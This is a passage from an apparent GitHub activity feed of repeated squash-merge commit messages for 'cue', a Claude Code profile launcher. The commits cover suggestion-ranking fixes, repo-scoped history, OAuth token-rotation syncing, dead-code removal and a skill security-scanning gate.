picker's partner map from the scoped one. Cross-repo habits still surface, but only through channels that say where they came from - universalSuggestions, and `cue suggest-pairs`, which now splits its table into pairings made here and pairings made in other projects. The scope predicate moves to lib/repo-scope, shared with combo-history so the two history readers cannot drift into different notions of "here". Unscoped callers - the universal-suggestion frequency pass, the dashboard - are unchanged, and rows with no recorded directory are excluded under a scope rather than credited to whichever repo happens to be open. * feat(picker): scope Recent by repository, not by path prefix Recent was the last suggestion source still scoping by raw downward path prefix, which the previous two rounds turned into an inconsistency: launch in packages/core and cue would show you the stacks and pairings confirmed at the repo root, but none of the sessions. The prefix rule cannot match a parent path, so scoped Recent came back empty and launch silently fell back to the global list - handing that subdirectory the profiles you use in other projects. computeStats now takes the same repo scope as the other two readers, so all three agree on what "here" means. The reason line becomes "last used in this repo", which is what it now measures. This path had no test coverage at all; it now has five, including the subdirectory case that was broken and the outside-a-repository fallback. * fix(picker): rank suggested stacks by what you actually launch here Three defects made the card lead with a stack the user had never launched. 1. Saturation. The usage bonus was `min(sessions, 5) * 2`, so everything with five or more sessions scored exactly 50 - a stack launched 112 times in this repo tied with one launched five times, and the card's headline was decided by the alphabetical tie-break. Replaced with a logarithmic bonus: every doubling of use adds a fixed step, calibrated so the five-session case lands where it did before and everything above it keeps climbing. 2. Truncation. A recalled stack was grown and then cut to MAX_STACK_PARTS, so a four-part recent became a three-part stack that was never launched, captioned with the four-part stack's session count. Recollections are now shown as launched: conflicts still resolve, but no companions are bolted on and no parts are dropped. The cap still applies to stacks this module proposes. 3. First-write-wins dedup. Sources are scanned in a fixed order but are no longer ranked by it, so a foreign combo used 4x claimed the part-set and permanently suppressed the recent used 112x here. Dedup now keeps the best-scoring claim; ties keep the incumbent, preserving origin order where scores don't separate. Measured in this repo, top suggestion before and after: before: career+skill-writer+core (truncated from a 4-part stack, 5 sessions) after: core+skill-writer (112 sessions here) * fix(suggest): score skills on what the user actually said `cue suggest` recommended a wedding-invitations skill because "date" appeared 195 times, and rated everything at confidence 1.00. Four compounding faults. Counting the wrong text. It scanned raw transcript JSONL, so assistant prose, tool names, tool output and file contents all counted as things the user "mentioned" - "read" scored 798x because that is the Read tool. Only user text parts are read now; tool_result parts arrive under role "user" too and are excluded. Substring matching. `indexOf` found "ops" inside "operations" and "and" inside "command". Matching is now whole-word, via a single tokenizing pass that also replaces a per-keyword regex compiled over megabytes of text - the command went from seconds to ~0.2s end to end. No stopword filter. Every SKILL.md description opens with "Use this when the user asks...", so "use", "when" and "user" became keywords for the entire catalogue. Filtered now, along with transcript-structure words, and the remaining keywords are weighted by catalogue-wide rarity: a stopword list only knows what is common in English, not that "mcp" appears in hundreds of these skills and separates none of them. Meaningless confidence. `min(1, mentions / 50)` reached 1.00 for every skill, so the printed number carried no information and the ranking was arbitrary. Score is now the strongest few signals - summing every match rewarded a long description over a relevant one - on an asymptotic curve calibrated against a real 355-candidate run. Measured confidence spread over this repo's transcripts: p10 0.32, p50 0.54, max 0.72. The reason line is computed from the same frequency map as the score, so it can no longer name a keyword that never contributed - which is how "and" came to be cited 8044 times. * fix(auth): keep concurrent sessions from revoking each other's tokens Anthropic's OAuth rotates the refresh token on every refresh, and cue gives each profile runtime its own copy of .credentials.json. Two sessions on different profiles therefore hold two copies of one token: whichever refreshes first silently revokes the other, which then hits a login prompt mid-session. Measured on a real machine - 121 runtime copies, 75 distinct refresh tokens, 114 of 117 access tokens expired. Sharing one file via symlink is the obvious fix and does not work: Claude Code rewrites .credentials.json atomically (tmp -> rename), which replaces a symlink with a regular file on the first refresh. Observable in any authmux runtime, where cue symlinks .claude.json and every one has since become a plain file while its neighbours (projects/, agents/) are still links. So the sessions have to talk instead. cue already published a rotation to the owning account dir on exit, which is too late - by then the sibling has already been dropped. A live session now reconciles once a minute for as long as it runs: it republishes its own rotation, and adopts anyone else's. pullFreshestToRuntime is the missing inbound direction, gated on matching accountUuid so alternating accounts can't hand each other tokens, and on strictly newer expiresAt so two reconcilers settle rather than trading the file back and forth. Polling rather than watching is deliberate: the same atomic rename that defeats symlinks also breaks an inode watch. * fix(auth): read the default account's identity where Claude Code keeps it (#106) The rotation heal added in ae59ebf never ran for the default account. Every direction in credentials-sync is gated on a known accountUuid, and readAccountUuid looked only at <dir>/.claude.json. With no CLAUDE_CONFIG_DIR set, Claude Code keeps oauthAccount in the home-root ~/.claude.json and leaves ~/.claude/.claude.json a settings-only stub - so the default account read as unknown and all three heals silently no-op'd: no candidates to sync from, no publish to ~/.claude, no adopt out of it. Measured here: 76 distinct refresh tokens across 123 runtimes, and 32 runtimes the heal could not see. The bug hid because authmux account dirs DO carry identity in-dir, so they worked. The basename gate keeps the fallback off those account dirs and off runtime dirs, which all carry identity in-dir - a stray sibling .claude.json must never be read as an account's identity or two accounts could trade tokens. Second path to the same symptom: overlaySourceState copied .credentials.json unconditionally, with none of the expiresAt comparison the rebuild path does. It runs on every cache-hit launch, and cue sync / cue install resolve their source with healFromRuntime: false - so one bulk sync could stamp a dead token over every runtime at once. It now keeps whichever side is newer, scoped to a single account so a deliberate account switch still re-seeds wholesale. Last, the reconcile cadence. Copies of a blob share one expiresAt, so concurrent sessions reach expiry together and refresh within moments of each other; only the first rotation survives. A flat 60s poll cannot help when the contended window is seconds wide, so the cadence now tightens to 5s across that window and idles at a minute elsewhere. This narrows the race and does not close it: cue does not perform the refresh, Claude Code does in-process, so there is no point at which cue can serialize the two callers. Co-authored-by: NagyVikt <nagy.viktordp@gmail.com> Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com> --------- Co-authored-by: NagyVikt <nagy.viktordp@gmail.com> Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com>
NagyVikt
added a commit
that referenced
this pull request
Aug 7, 2026
…o-browser always-on (#122) * feat(picker): match every profile against the repo, not just the 19 with rules The suggestion engine ranked profiles from five hand-maintained sources — dependency rules, path conventions, combo history, recents, featured. Between them they cover 19 of 85 profiles. The other 66 could only ever surface if the user had launched them before, so a directory that genuinely wanted one had no way to say so, and cycling past the third suggestion ran out of answers. profile-match scores every profile's OWN vocabulary (name, description, skill ids, MCP ids) against what the directory reveals about itself (dependencies, languages, marker files, entry names). Coverage goes to 85/85 and the card's tail keeps landing on something the repo justifies. Wired in as a new `matched` origin scored 8-30, so curation still leads: it can pass `featured` from ~0.32 strength but never outranks a detection, a confirmed combo, or something launched in this very directory. Four properties earned their place by being wrong first: Absolute strength, not relative to the run's best hit. Normalizing against the top scorer manufactures confidence from noise — a directory with nothing to say still produced a 1.00 "match", because the weakest signal present is still the strongest signal present. cue and gitguardex now correctly match nothing. Corroboration: a filename alone never carries a match. Every repo here has a CLAUDE.md, so every repo matched `claude-api` — above a real ROS workspace backed by an actual robot.urdf. Chasing each such word with the stopword list was a losing game; requiring one dependency, language, or marker hit ends the class. IDF weighting plus size damping, so `gstack` (70 terms, mentions everything) cannot beat `rust` (18 terms, mentions Rust) on a Cargo.toml by surface area. Both sides normalize through the same `tokenize`. Skipping it on the evidence side meant a profile indexed "robotic" while EXT_LANGUAGE emitted "robotics" — they never met, silently. Same failure class as the bash/TS drift the hook guards against. gstack itself goes to _featured.yaml rather than being made detectable, because it structurally cannot be: it is a WORKFLOW profile, describing how you want to work, and repo evidence only ever describes what the project IS. A .urdf says robotics; nothing on disk says "role-routed engineering". It scored 0.27 at rank #6 across the test repos; always-available is the honest mechanism. Also: `-js` is no longer folded as a plural (medusajs -> medusaj, nextjs -> nextj), which affected skill matching too; the df cut is skipped below 10 profiles, where it discarded every term shared by two and matched nothing; and manifest metadata keys are filtered, so `requires-python` and `[urls] issues` stop reading as dependencies named "research" and "linear". Verified on real repos: agv_stack surfaces ros2 #1 (previously unreachable), api-tester surfaces python + backend-base, kolarortopedia surfaces postgres + supabase, cue and gitguardex correctly surface nothing. 2819 pass / 0 fail. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(test): make cue handoff tests e2e, drop the global mock.module leak src/commands/handoff.test.ts registered mock.module("../lib/handoff", ...). Bun's module mock lives in a PROCESS-GLOBAL registry that outlives the file that installs it, so whenever this file landed in the same worker before src/lib/handoff.test.ts, that file asserted against the stub instead of the real formatHandoffForAgent. The stub emitted only the header and the task summary, so exactly the four sections it omitted failed: Most useful skills / Also helpful / MCPs used / Notes Green locally, red in CI, purely on file ordering. Drive the command through spawnSync with XDG_CONFIG_HOME pointed at a temp dir instead. HANDOFFS_DIR is a module-level const baked from that env var at import time, so a fresh child picks up the temp dir and no global state is touched. Nothing is left to leak — this was the last mock.module in the repo. Also stronger: the router now runs against the real lib rather than a stub. 10 -> 18 tests, covering the --json branches, --skills level parsing, the --from default and the unknown-subcommand fallback. Verified: bun test --timeout 30000 (the CI command), 4 consecutive runs, 2819 pass / 1 skip / 0 fail. typecheck clean, lint unchanged at 6 warnings. * chore: delete 733 lines of verified dead code Every deletion was re-verified by hand against a repo-wide fixed-string grep (excluding node_modules/dist/vendor, but INCLUDING .sh, .yaml, .md and extensionless bin scripts) plus a within-file usage check. Dead code's tests go with it — a test for dead code is also dead. Whole files, referenced by nothing but their own test: src/lib/incremental-materialize.ts 81 (+112 test) src/lib/skill-compressor.ts 68 (+59 test) src/lib/webhooks.ts 58 (+175 test) scripts/_test-ecc-materialize.ts 20 (referenced by nothing at all) Functions with exactly one occurrence in the repo — their own definition: discover.ts buildGemBadgeSvg 196 skill-deps.ts topologicalSort 61 (+18 test) Stale docs: bin/README.md 32 describes a `soul` CLI and a bin/cli/lib/ layout, neither of which exists Deliberately NOT deleted, though a generated report flagged them — 28 of its 76 non-picker findings were false positives, and deleting them blind would have broken the build: analytics.ts recordSkillUsage called by resources/hooks/skill-fire-tracker.sh bin/cue-slug called by bin/cue-learnings (the report's own grep passed --include='*.sh', so the extensionless caller never matched) runtime-gc.ts imported by commands/gc.ts and launch.ts handoff.ts (all 4 exports) imported by commands/handoff.ts kitty-image probeKittyTerminal, clearKittyImagesSequence, skill-deps parseDependencies, skill-router Router* types used within their own file; only the `export` keyword is redundant, which is churn, not dead code cloud.ts:255 "dead" branch reachable: `cue cloud push x` gives argv[2]="cloud" and falls to the default arm Also left alone: the picker block (~1057 lines) while that migration is in flight, and launch.ts's token-budget re-export shim (all five symbols are used inside launch.ts, so it is an export->import rewrite worth zero lines). Verified: bun test --timeout 30000, 4 consecutive runs, 2819 pass / 1 skip / 0 fail across 219 files. typecheck exit 0. lint 0 errors, 6 warnings (baseline). * docs(dead-code): mark the report superseded, record the false-positive rate 28 of 76 non-picker findings were wrong. Record which ones and why, so the next pass re-verifies instead of trusting the confidence column: a 'high' rating only means the agent's grep came back empty, and those greps missed shell hooks, extensionless bin scripts, dynamic imports, and string-keyed command dispatch. * feat(brief): hand the agent verified facts about the directory it launches in A profile teaches the agent a domain. It cannot know that this repo runs on bun rather than npm, that the tests are behind `just check`, or where the entry point lives — so the agent guesses, and burns turns finding out. `lib/project-brief` scans that off the filesystem and the launcher hands it over: package manager (from the lockfile), the real test/build/lint/typecheck commands (package.json scripts, Makefile, justfile, Cargo, pyproject), entry points, layout, workspaces, data layer, what CI actually runs, and the default branch. Verified only — nothing inferred, because a wrong fact costs more than a missing one. `.env` values are never read; the scan notes only that a committed `.env.example` exists. Delivery is per process, deliberately NOT through the materialized memory file: the runtime is keyed by profile and shared by every directory and every parallel session using it, so repo-specific text there would leak across projects and race between sessions. claude-code takes the brief inline via `--append-system-prompt`; codex, which has no such flag, gets a per-cwd file plus one *static* pointer line in AGENTS.md. `cue brief` shows exactly what the agent receives. `--write` turns it into `.cue/project.md`: a machine block that refreshes and a `## Notes` section that never does — for the conventions no scanner can infer. `CUE_BRIEF=0` opts out entirely. Two bugs the real-repo smoke test caught, both fixed with tests: the layout list sorted alphabetically and spent its budget on `action/ agentshield/…` while cutting `src/`; and `--write` folded the notes back into the machine block, duplicating them on every rewrite. Tests: 33 new, driving the scanner through a stub probe (bun/pnpm/cargo/ python/go/monorepo fixtures, CI harvesting, caps, truncation, no-manifest → null, and an assertion that no `.env` is ever read), plus the brief-file merge and the per-agent injection. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * feat(picker): let the model rerank profile matches, without ever waiting on it Every failure the lexical matcher has is the same shape: a word means one thing in a manifest and another in a profile description, and the fix is another stopword. CLAUDE.md, @clack/core, requires-python, base-template each cost a round of tuning, and the list is unbounded. A model reads the same evidence and doesn't make that class of mistake. So: lexical proposes, the model judges. This fits here in a way it did not fit the skill matcher. That hook runs on every prompt and the prompt is always different, so an LLM call is a per-message tax with a near-zero cache hit rate — which is why it ended up as an opt-in `--deep` escalation. A repo's shape is stable for weeks. Keyed on the evidence rather than the clock, the cache hits ~always and the model is consulted about once per project. Measured: 9.8s cold, 0.124s warm. The launch path still never waits. A warm entry is read in ~1ms; a cold one serves the lexical answer immediately and spawns a detached process to fill the cache for next time. Picker cost measured at 98ms warm, 45-74ms cold — the model's 10 seconds are never on anyone's critical path. claude-classifier extracts the spawn, the ephemeral CLAUDE_CONFIG_DIR isolation and the credential copy-back out of skill-subset (477 -> 331 lines). That machinery is subtle enough — the rotation race, the shared timeout budget across the binary fallback — that a second copy would drift rather than stay honest. `cue profile match [dir] --explain --deep` exists because the matcher's early versions stayed wrong for as long as they did purely because nothing showed which term caused a bad suggestion. It earned its keep within minutes: on a small Python CLI it revealed "dependencies" named environment, intended, operating, programming and topic — PyPI trove classifiers, read as packages by the loose manifest scanner. Handed that same garbage, the model confidently picked profiles about building cue itself. With the scanner fixed to skip `::` lines it picks python + backend-base, which is right. The scanner now also harvests inline dependency arrays (`dependencies = [...]`), which are often the only place a pyproject declares anything real. Verified live: agv_stack -> ros2 ("ROS 2 robot control, .urdf files, MRS platform"); kolarortopedia -> backend + postgres, with the model correctly dropping `vite` (matched on the vitest test runner) and `supabase` (matched on the substring "postgre"). 2889 pass / 0 fail, tsc and lint clean. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * feat(picker): scope remembered stacks to the repo you launch in The combine suggestion engine remembered every stack globally: combo-history rows carried no directory, so "you launched this stack 4x" counted launches from every project at once. At SCORE_COMBO (50-65 with the count bonus) that outranked the cwd-scoped recent (max 50), so a favourite stack from an unrelated repo led the picker in a repo that had never seen it. Rows now record the launch directory, and readCombos scopes them by repository root - a launch inside packages/core still sees the stack confirmed at the repo root above it. Stacks confirmed here score 60-75; stacks known only from other repos drop to 31-40, below anything cwd-scoped, and say so in their reason. Backward compatible on both ends: an unattributed row (written before cwd was recorded) never claims the current directory, and a caller that passes no scope keeps the exact score and wording it had before. * feat(picker): scope pair affinity to the repo you launch in growStack grafts your top historical partner onto every suggested stack, and it does so with no reason line of its own - the profile just appears in the card. That partner came from a global affinity map mined across every project, so a pairing learned in one repo rode silently into the suggestions of an unrelated one: open an API repo and backend+medusa-dev showed up because that is how you work in a shop repo. computeAffinityMap now takes an optional repo scope, and launch builds the picker's partner map from the scoped one. Cross-repo habits still surface, but only through channels that say where they came from - universalSuggestions, and `cue suggest-pairs`, which now splits its table into pairings made here and pairings made in other projects. The scope predicate moves to lib/repo-scope, shared with combo-history so the two history readers cannot drift into different notions of "here". Unscoped callers - the universal-suggestion frequency pass, the dashboard - are unchanged, and rows with no recorded directory are excluded under a scope rather than credited to whichever repo happens to be open. * feat(picker): scope Recent by repository, not by path prefix Recent was the last suggestion source still scoping by raw downward path prefix, which the previous two rounds turned into an inconsistency: launch in packages/core and cue would show you the stacks and pairings confirmed at the repo root, but none of the sessions. The prefix rule cannot match a parent path, so scoped Recent came back empty and launch silently fell back to the global list - handing that subdirectory the profiles you use in other projects. computeStats now takes the same repo scope as the other two readers, so all three agree on what "here" means. The reason line becomes "last used in this repo", which is what it now measures. This path had no test coverage at all; it now has five, including the subdirectory case that was broken and the outside-a-repository fallback. * fix(picker): rank suggested stacks by what you actually launch here Three defects made the card lead with a stack the user had never launched. 1. Saturation. The usage bonus was `min(sessions, 5) * 2`, so everything with five or more sessions scored exactly 50 - a stack launched 112 times in this repo tied with one launched five times, and the card's headline was decided by the alphabetical tie-break. Replaced with a logarithmic bonus: every doubling of use adds a fixed step, calibrated so the five-session case lands where it did before and everything above it keeps climbing. 2. Truncation. A recalled stack was grown and then cut to MAX_STACK_PARTS, so a four-part recent became a three-part stack that was never launched, captioned with the four-part stack's session count. Recollections are now shown as launched: conflicts still resolve, but no companions are bolted on and no parts are dropped. The cap still applies to stacks this module proposes. 3. First-write-wins dedup. Sources are scanned in a fixed order but are no longer ranked by it, so a foreign combo used 4x claimed the part-set and permanently suppressed the recent used 112x here. Dedup now keeps the best-scoring claim; ties keep the incumbent, preserving origin order where scores don't separate. Measured in this repo, top suggestion before and after: before: career+skill-writer+core (truncated from a 4-part stack, 5 sessions) after: core+skill-writer (112 sessions here) * fix(suggest): score skills on what the user actually said `cue suggest` recommended a wedding-invitations skill because "date" appeared 195 times, and rated everything at confidence 1.00. Four compounding faults. Counting the wrong text. It scanned raw transcript JSONL, so assistant prose, tool names, tool output and file contents all counted as things the user "mentioned" - "read" scored 798x because that is the Read tool. Only user text parts are read now; tool_result parts arrive under role "user" too and are excluded. Substring matching. `indexOf` found "ops" inside "operations" and "and" inside "command". Matching is now whole-word, via a single tokenizing pass that also replaces a per-keyword regex compiled over megabytes of text - the command went from seconds to ~0.2s end to end. No stopword filter. Every SKILL.md description opens with "Use this when the user asks...", so "use", "when" and "user" became keywords for the entire catalogue. Filtered now, along with transcript-structure words, and the remaining keywords are weighted by catalogue-wide rarity: a stopword list only knows what is common in English, not that "mcp" appears in hundreds of these skills and separates none of them. Meaningless confidence. `min(1, mentions / 50)` reached 1.00 for every skill, so the printed number carried no information and the ranking was arbitrary. Score is now the strongest few signals - summing every match rewarded a long description over a relevant one - on an asymptotic curve calibrated against a real 355-candidate run. Measured confidence spread over this repo's transcripts: p10 0.32, p50 0.54, max 0.72. The reason line is computed from the same frequency map as the score, so it can no longer name a keyword that never contributed - which is how "and" came to be cited 8044 times. * fix(auth): keep concurrent sessions from revoking each other's tokens Anthropic's OAuth rotates the refresh token on every refresh, and cue gives each profile runtime its own copy of .credentials.json. Two sessions on different profiles therefore hold two copies of one token: whichever refreshes first silently revokes the other, which then hits a login prompt mid-session. Measured on a real machine - 121 runtime copies, 75 distinct refresh tokens, 114 of 117 access tokens expired. Sharing one file via symlink is the obvious fix and does not work: Claude Code rewrites .credentials.json atomically (tmp -> rename), which replaces a symlink with a regular file on the first refresh. Observable in any authmux runtime, where cue symlinks .claude.json and every one has since become a plain file while its neighbours (projects/, agents/) are still links. So the sessions have to talk instead. cue already published a rotation to the owning account dir on exit, which is too late - by then the sibling has already been dropped. A live session now reconciles once a minute for as long as it runs: it republishes its own rotation, and adopts anyone else's. pullFreshestToRuntime is the missing inbound direction, gated on matching accountUuid so alternating accounts can't hand each other tokens, and on strictly newer expiresAt so two reconcilers settle rather than trading the file back and forth. Polling rather than watching is deliberate: the same atomic rename that defeats symlinks also breaks an inode watch. * fix(auth): read the default account's identity where Claude Code keeps it The rotation heal added in ae59ebf never ran for the default account. Every direction in credentials-sync is gated on a known accountUuid, and readAccountUuid looked only at <dir>/.claude.json. With no CLAUDE_CONFIG_DIR set, Claude Code keeps oauthAccount in the home-root ~/.claude.json and leaves ~/.claude/.claude.json a settings-only stub - so the default account read as unknown and all three heals silently no-op'd: no candidates to sync from, no publish to ~/.claude, no adopt out of it. Measured here: 76 distinct refresh tokens across 123 runtimes, and 32 runtimes the heal could not see. The bug hid because authmux account dirs DO carry identity in-dir, so they worked. The basename gate keeps the fallback off those account dirs and off runtime dirs, which all carry identity in-dir - a stray sibling .claude.json must never be read as an account's identity or two accounts could trade tokens. Second path to the same symptom: overlaySourceState copied .credentials.json unconditionally, with none of the expiresAt comparison the rebuild path does. It runs on every cache-hit launch, and cue sync / cue install resolve their source with healFromRuntime: false - so one bulk sync could stamp a dead token over every runtime at once. It now keeps whichever side is newer, scoped to a single account so a deliberate account switch still re-seeds wholesale. Last, the reconcile cadence. Copies of a blob share one expiresAt, so concurrent sessions reach expiry together and refresh within moments of each other; only the first rotation survives. A flat 60s poll cannot help when the contended window is seconds wide, so the cadence now tightens to 5s across that window and idles at a minute elsewhere. This narrows the race and does not close it: cue does not perform the refresh, Claude Code does in-process, so there is no point at which cue can serialize the two callers. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(resolver): follow symlinked skill directories A skill maintained in its own repo can be linked into the tree rather than copied — browser/ego-browser now points at ~/Documents/ego-lite-linux, so the Linux port's skill has exactly one source of truth instead of a hand-synced duplicate that silently drifts. walk() filtered category entries on dirent.isDirectory(), which is false for the symlink itself, so the linked skill vanished from the index and `cue validate` failed it as E3 SKILL_NOT_FOUND. Stat through symlinks; dangling links are treated as absent. The materializer already symlinks skills, so this only makes the read path agree with the write path. Also register ego-browser in KNOWN_CLIS so the skill's Prerequisites section is picked up by the CLI extractor. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * feat(core): keep ego-browser loaded in every project core declared browser/ego-browser, but the per-project loadout deferred it everywhere no project signal matched — which is most projects, since the signal set comes from package.json deps and framework detection and nothing there says "browser". The declaration was real and the skill still never loaded. Deferring it does not save a browser session; it sends the agent to MCP round-trips or web fetch instead, which costs more than this skill's frontmatter. So it joins the operational primitives in ALWAYS_KEEP, and the matching slug set in profile-merge so a budgeted composite can't drop it either. Verified on a neutral cwd with zero project signals: browser/ego-browser now classifies full, where it previously landed in deferred. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * feat(security): gate freshly-fetched skills through NVIDIA SkillSpector Every path that lands a new skill on disk — `skills add`, `discover install`, `marketplace install-skill` — now scans it before anything registers it to a profile. SkillSpector covers 68 vulnerability patterns across 17 categories (prompt injection, data exfiltration, supply chain, dangerous code via AST, YARA, MCP tool poisoning) on top of cue's own SEC1-3 criticals. Policy reads the report's `recommendation` rather than the exit code, so the three verdicts stay distinguishable: DO_NOT_INSTALL blocks, CAUTION registers with a visible warning, SAFE is quiet. `--allow-unsafe` overrides the block. install-skill differs from the others on purpose: the files are already on disk by the time it runs, so a block reports findings and exits non-zero rather than deleting anything, leaving them for review. When the scanner isn't installed the gate degrades to cue's own rules and says so, rather than silently passing everything. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(materializer): stop unresolving the live runtime path mid-swap Rematerializing did `rm -rf runtimeDir` and only then renamed the new tree into place, so the live path stayed nonexistent for the whole recursive delete — seconds, on a runtime carrying a plugin cache and a backup chain. A Claude Code session already running against that profile resolves its hooks through exactly that path, so every hook firing inside the gap died with "No such file or directory" (observed 2026-08-03: nine Stop hooks at once, mid-session). Move the old tree aside instead: the path is unresolvable only between two renames, and the delete runs after the new runtime is live. The `.old-*` dir is a sibling of the swap target, so it cannot cross a filesystem boundary and sits one level below the root runtime-gc scans. Leftovers from a swap killed between the renames are swept best-effort on the next materialize. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * refactor(picker): pull the shared visual primitives out of card and palette The v2 card and the stack palette had grown their own copies of the same drawing code. Both now hang off one set of primitives in picker/ui.ts, styled after iOS grouped-inset lists: one rounded card per idea, uppercase muted section headers instead of heavy rules, a filled pill for the single primary action, circular selection marks instead of ASCII brackets, page dots for "there is more to see here". Everything in ui.ts is pure — no I/O, no TTY — and styleText is a no-op off a TTY, so the tests assert on plain text. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * chore: integrity-protocol wording, tag hooks, two new profiles Collects the remaining working-tree changes from prior sessions: - resources/personas/integrity-protocol{,-compact}.md — wording pass - resources/hooks/{tag-audit,liedetector-tag-density}.sh — confidence-tag density checks - profiles/frontend-design, profiles/reverse-skill — two new profiles - README.md, .cue.profile (cue's own pin: core -> core+skill-writer) Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> --------- Co-authored-by: NagyVikt <nagy.viktordp@gmail.com> Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com>
NagyVikt
added a commit
that referenced
this pull request
Aug 7, 2026
) * feat(picker): match every profile against the repo, not just the 19 with rules The suggestion engine ranked profiles from five hand-maintained sources — dependency rules, path conventions, combo history, recents, featured. Between them they cover 19 of 85 profiles. The other 66 could only ever surface if the user had launched them before, so a directory that genuinely wanted one had no way to say so, and cycling past the third suggestion ran out of answers. profile-match scores every profile's OWN vocabulary (name, description, skill ids, MCP ids) against what the directory reveals about itself (dependencies, languages, marker files, entry names). Coverage goes to 85/85 and the card's tail keeps landing on something the repo justifies. Wired in as a new `matched` origin scored 8-30, so curation still leads: it can pass `featured` from ~0.32 strength but never outranks a detection, a confirmed combo, or something launched in this very directory. Four properties earned their place by being wrong first: Absolute strength, not relative to the run's best hit. Normalizing against the top scorer manufactures confidence from noise — a directory with nothing to say still produced a 1.00 "match", because the weakest signal present is still the strongest signal present. cue and gitguardex now correctly match nothing. Corroboration: a filename alone never carries a match. Every repo here has a CLAUDE.md, so every repo matched `claude-api` — above a real ROS workspace backed by an actual robot.urdf. Chasing each such word with the stopword list was a losing game; requiring one dependency, language, or marker hit ends the class. IDF weighting plus size damping, so `gstack` (70 terms, mentions everything) cannot beat `rust` (18 terms, mentions Rust) on a Cargo.toml by surface area. Both sides normalize through the same `tokenize`. Skipping it on the evidence side meant a profile indexed "robotic" while EXT_LANGUAGE emitted "robotics" — they never met, silently. Same failure class as the bash/TS drift the hook guards against. gstack itself goes to _featured.yaml rather than being made detectable, because it structurally cannot be: it is a WORKFLOW profile, describing how you want to work, and repo evidence only ever describes what the project IS. A .urdf says robotics; nothing on disk says "role-routed engineering". It scored 0.27 at rank #6 across the test repos; always-available is the honest mechanism. Also: `-js` is no longer folded as a plural (medusajs -> medusaj, nextjs -> nextj), which affected skill matching too; the df cut is skipped below 10 profiles, where it discarded every term shared by two and matched nothing; and manifest metadata keys are filtered, so `requires-python` and `[urls] issues` stop reading as dependencies named "research" and "linear". Verified on real repos: agv_stack surfaces ros2 #1 (previously unreachable), api-tester surfaces python + backend-base, kolarortopedia surfaces postgres + supabase, cue and gitguardex correctly surface nothing. 2819 pass / 0 fail. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(test): make cue handoff tests e2e, drop the global mock.module leak src/commands/handoff.test.ts registered mock.module("../lib/handoff", ...). Bun's module mock lives in a PROCESS-GLOBAL registry that outlives the file that installs it, so whenever this file landed in the same worker before src/lib/handoff.test.ts, that file asserted against the stub instead of the real formatHandoffForAgent. The stub emitted only the header and the task summary, so exactly the four sections it omitted failed: Most useful skills / Also helpful / MCPs used / Notes Green locally, red in CI, purely on file ordering. Drive the command through spawnSync with XDG_CONFIG_HOME pointed at a temp dir instead. HANDOFFS_DIR is a module-level const baked from that env var at import time, so a fresh child picks up the temp dir and no global state is touched. Nothing is left to leak — this was the last mock.module in the repo. Also stronger: the router now runs against the real lib rather than a stub. 10 -> 18 tests, covering the --json branches, --skills level parsing, the --from default and the unknown-subcommand fallback. Verified: bun test --timeout 30000 (the CI command), 4 consecutive runs, 2819 pass / 1 skip / 0 fail. typecheck clean, lint unchanged at 6 warnings. * chore: delete 733 lines of verified dead code Every deletion was re-verified by hand against a repo-wide fixed-string grep (excluding node_modules/dist/vendor, but INCLUDING .sh, .yaml, .md and extensionless bin scripts) plus a within-file usage check. Dead code's tests go with it — a test for dead code is also dead. Whole files, referenced by nothing but their own test: src/lib/incremental-materialize.ts 81 (+112 test) src/lib/skill-compressor.ts 68 (+59 test) src/lib/webhooks.ts 58 (+175 test) scripts/_test-ecc-materialize.ts 20 (referenced by nothing at all) Functions with exactly one occurrence in the repo — their own definition: discover.ts buildGemBadgeSvg 196 skill-deps.ts topologicalSort 61 (+18 test) Stale docs: bin/README.md 32 describes a `soul` CLI and a bin/cli/lib/ layout, neither of which exists Deliberately NOT deleted, though a generated report flagged them — 28 of its 76 non-picker findings were false positives, and deleting them blind would have broken the build: analytics.ts recordSkillUsage called by resources/hooks/skill-fire-tracker.sh bin/cue-slug called by bin/cue-learnings (the report's own grep passed --include='*.sh', so the extensionless caller never matched) runtime-gc.ts imported by commands/gc.ts and launch.ts handoff.ts (all 4 exports) imported by commands/handoff.ts kitty-image probeKittyTerminal, clearKittyImagesSequence, skill-deps parseDependencies, skill-router Router* types used within their own file; only the `export` keyword is redundant, which is churn, not dead code cloud.ts:255 "dead" branch reachable: `cue cloud push x` gives argv[2]="cloud" and falls to the default arm Also left alone: the picker block (~1057 lines) while that migration is in flight, and launch.ts's token-budget re-export shim (all five symbols are used inside launch.ts, so it is an export->import rewrite worth zero lines). Verified: bun test --timeout 30000, 4 consecutive runs, 2819 pass / 1 skip / 0 fail across 219 files. typecheck exit 0. lint 0 errors, 6 warnings (baseline). * docs(dead-code): mark the report superseded, record the false-positive rate 28 of 76 non-picker findings were wrong. Record which ones and why, so the next pass re-verifies instead of trusting the confidence column: a 'high' rating only means the agent's grep came back empty, and those greps missed shell hooks, extensionless bin scripts, dynamic imports, and string-keyed command dispatch. * feat(brief): hand the agent verified facts about the directory it launches in A profile teaches the agent a domain. It cannot know that this repo runs on bun rather than npm, that the tests are behind `just check`, or where the entry point lives — so the agent guesses, and burns turns finding out. `lib/project-brief` scans that off the filesystem and the launcher hands it over: package manager (from the lockfile), the real test/build/lint/typecheck commands (package.json scripts, Makefile, justfile, Cargo, pyproject), entry points, layout, workspaces, data layer, what CI actually runs, and the default branch. Verified only — nothing inferred, because a wrong fact costs more than a missing one. `.env` values are never read; the scan notes only that a committed `.env.example` exists. Delivery is per process, deliberately NOT through the materialized memory file: the runtime is keyed by profile and shared by every directory and every parallel session using it, so repo-specific text there would leak across projects and race between sessions. claude-code takes the brief inline via `--append-system-prompt`; codex, which has no such flag, gets a per-cwd file plus one *static* pointer line in AGENTS.md. `cue brief` shows exactly what 